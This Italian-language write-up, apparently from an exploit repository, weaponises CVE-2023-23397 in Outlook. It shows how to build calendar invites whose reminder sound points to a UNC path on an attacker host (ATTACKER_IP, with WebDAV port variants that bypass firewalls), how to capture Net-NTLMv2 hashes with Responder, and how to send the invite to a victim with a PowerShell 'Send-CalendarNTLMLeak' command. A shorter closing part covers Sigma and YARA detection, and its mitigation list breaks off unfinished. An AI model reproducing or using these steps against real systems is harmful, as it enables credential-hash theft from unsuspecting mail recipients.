
Exploit per CVE-2023-23397 Outlook NTLM hash leak tramite inviti di calendario dannosi. Include weaponization PowerShell, integrazione Responder e regole di rilevamento per l'incident response.
Per sfruttare questa vulnerabilità, un attaccante deve creare un invito di calendario malintenzionato che includa un riferimento a un file audio che punta a un file in una condivisione di rete sulla macchina dell'attaccante. A basso livello, un'email di Outlook memorizza il riferimento al file audio in un parametro interno chiamato "PidLidReminderFileParameter". Per garantire che l'audio incorporato nella nostra email malintenzionata abbia la precedenza sulle configurazioni predefinite del promemoria della vittima, dovremo anche impostare un altro parametro chiamato "PidLidReminderOverride" su true.
Per configurare la proprietà "PidLidReminderFileParameter" in modo che punti a una condivisione di rete, l'attaccante può specificare un percorso Universal Naming Convention (UNC) invece di un file locale. Il percorso UNC viene utilizzato nei sistemi operativi Windows per trovare risorse di rete (file, stampanti, documenti condivisi). Questi percorsi sono costituiti da una doppia barra rovesciata, dall'indirizzo IP o dal nome del computer che ospita la risorsa, dal nome della condivisione e dal nome del file. Per esempio: \ATTACKER_IP\foo\bar.wav
Quando la vittima riceve l'email malintenzionata, il percorso UNC la indirizza verso quella condivisione SMB, innescando la vulnerabilità. Ciò provoca l'avvio di un processo di autenticazione NTLM contro la macchina dell'attaccante, divulgando un hash Net-NTLMv2 che l'attaccante può successivamente tentare di crackare. Se per qualche motivo il protocollo SMB non è un'alternativa praticabile, le versioni non server di Windows accettano l'uso di percorsi UNC che puntano alle porte 80 o 443 e utilizzano HTTP per recuperare il file da un server web con WebDAV abilitato. La sintassi di tale percorso UNC è la seguente:
\ATTACKER_IP@80\foo\bar.wav OR \ATTACKER_IP@443\foo\bar.wav
Questo può essere utile per bypassare le restrizioni del firewall che impediscono connessioni in uscita verso la porta 445 (SMB).
Fase di attacco Creiamo un'email malintenzionata contenente un appuntamento con i parametri necessari per innescarla.
Configurazione di Responder: Poiché ci aspettiamo che la vittima inneschi un tentativo di autenticazione contro l'attaccante sulla porta 445, configureremo Responder per gestire il processo di autenticazione e catturare l'hash NetNTLM per noi. Se non hai familiarità con Responder, esso emula semplicemente un server SMB e cattura qualsiasi tentativo di autenticazione diretto contro di esso. responder -I
Tentativo di creare manualmente un appuntamento malintenzionato:
OutlookSpy: Anche se Outlook non può impostare il file audio del promemoria su un percorso UNC, possiamo utilizzare il plugin OutlookSpy per ottenere questo risultato. Questo plugin ti consentirà di accedere direttamente a tutti i parametri interni di Outlook, incluso il file audio del promemoria. Dovrai installarlo manualmente prima di procedere. Assicurati di chiudere Outlook prima di eseguire il programma di installazione.
Possiamo usare la scheda script e il seguente script per cambiare i parametri con i valori richiesti: AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<attacker's IP><share_folder>\file.wav"
Assicurati di fare clic sul pulsante "Run" per applicare le modifiche. Puoi tornare alla scheda "Properties" per verificare che i valori siano stati modificati correttamente. Infine, salva l'appuntamento per aggiungerlo al calendario, assicurandoti che il promemoria sia impostato su "0 minuti" e che l'appuntamento corrisponda a data e ora correnti, poiché vogliamo che si attivi immediatamente.
Se tutto è andato come previsto, dovresti vedere subito apparire un promemoria. E dovresti ricevere il tentativo di autenticazione nella console di Responder sulla macchina dell'attaccante.
Weaponizzazione Riassumendo i passaggi necessari per sfruttare la vulnerabilità, un attaccante dovrebbe:
I passaggi 3 e 4 sono già coperti da Responder, ma creare manualmente l'appuntamento malintenzionato è un po' noioso. Fortunatamente, un paio di exploit sono prontamente disponibili per creare e inviare un appuntamento malintenzionato, uno dei quali è fornito in questo repository.
Questo exploit PowerShell sfrutta gli oggetti COM di Outlook per creare facilmente email e appuntamenti. Contiene un paio di funzioni che possiamo usare: Save-CalendarNTLMLeak: Questa funzione crea un appuntamento malintenzionato e lo salva nel tuo calendario. Utile per scopi di test. Send-CalendarNTLMLeak: Questa funzione crea un appuntamento malintenzionato e lo invia via email a una vittima. L'invito via email verrà inviato dall'account predefinito corrente di Outlook.
Utilizzo dell'exploit: All'interno di PowerShell, puoi importare le funzioni dell'exploit con il cmdlet "Import-Module". Dopodiché, entrambe le funzioni saranno disponibili nella tua sessione PowerShell corrente. Per inviare un'email con un appuntamento malintenzionato, puoi semplicemente eseguire il seguente comando:
PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
Poiché l'exploit utilizza l'istanza corrente di Outlook per inviare l'email, riceverai probabilmente un paio di avvisi che ti chiedono di concedere allo script il permesso di inviare email per tuo conto. Assicurati di premere Consenti tutte le volte necessarie. Selezionare la casella "Consenti accesso per 10 minuti" dovrebbe anche aiutare ad accelerare questo processo.
Rilevamento e mitigazione
Rilevamento: Ora che abbiamo esaminato i passaggi per armare l'attacco CVE-2023-23397 su Outlook, parliamo di alcuni modi per rilevare questo attacco all'interno della rete. Ogni attacco lascia pattern o artefatti che possono aiutare il team di rilevamento a identificare le minacce. Tutto dipende dalla visibilità di rete e dalle fonti di log che vengono raccolte e che forniscono la visibilità tanto importante.
Regole Sigma: La regola Sigma allegata rileva Outlook che avvia una connessione a una condivisione WebDav o SMB, indicando una fase di post-exploitation. Questa regola Sigma mira a rilevare "svchost.exe" che genera "rundll32.exe" con argomenti di comando come C:\windows\system32\davclnt.dll,DavSetCookie, il che indica una fase di post-exploitation/esfiltrazione. Queste regole SIGMA possono essere convertite nello strumento di rilevamento e monitoraggio per cercare attività sospette nei log all'interno della rete.
Regola Yara: La regola YARA cerca il pattern all'interno dei file su disco. Le regole YARA della community allegate possono essere utilizzate per rilevare il file MSG sospetto sul disco con le due proprietà discusse nelle attività precedenti.
Microsoft ha rilasciato uno script PowerShell "CVE-2023-23397.ps1" che controllerà gli elementi di messaggistica di Exchange come posta, calendario e attività per verificare se gli IOC relativi all'attacco CVE-2023-23397 sono presenti. Lo script può essere utilizzato per eseguire l'audit e ripulire gli elementi rilevati.
Mitigazione: Questa vulnerabilità viene sfruttata intensamente in the wild. Alcuni dei passaggi consigliati da Microsoft per mitigare ed evitare questo attacco sono: